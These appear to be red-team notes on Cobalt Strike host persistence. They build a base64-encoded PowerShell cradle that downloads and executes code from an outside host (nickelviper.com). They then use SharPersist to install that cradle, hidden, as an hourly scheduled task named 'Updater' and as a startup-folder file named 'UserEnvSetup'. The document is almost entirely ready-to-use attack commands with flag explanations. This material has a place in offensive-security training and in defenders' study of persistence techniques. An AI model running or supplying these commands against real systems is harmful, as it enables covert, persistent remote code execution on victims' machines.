Cobalt Strike:Host Persistence

Task Scheduler

In Powershell:

PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA

In Linux:

ubuntu@DESKTOP-3BSK7NO ~> set str 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
ubuntu@DESKTOP-3BSK7NO ~> echo -en $str | iconv -t UTF-16LE | base64 -w 0
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA

From Cobalt:

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly

Flags:

• -t is the desired persistence technique.
• -c is the command to execute.
• -a are any arguments for that command.
• -n is the name of the task.
• -m is to add the task (you can also remove, check and list).
• -o is the task frequency.

Startup Folder

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add

Flags:

• -f is the filename to save as.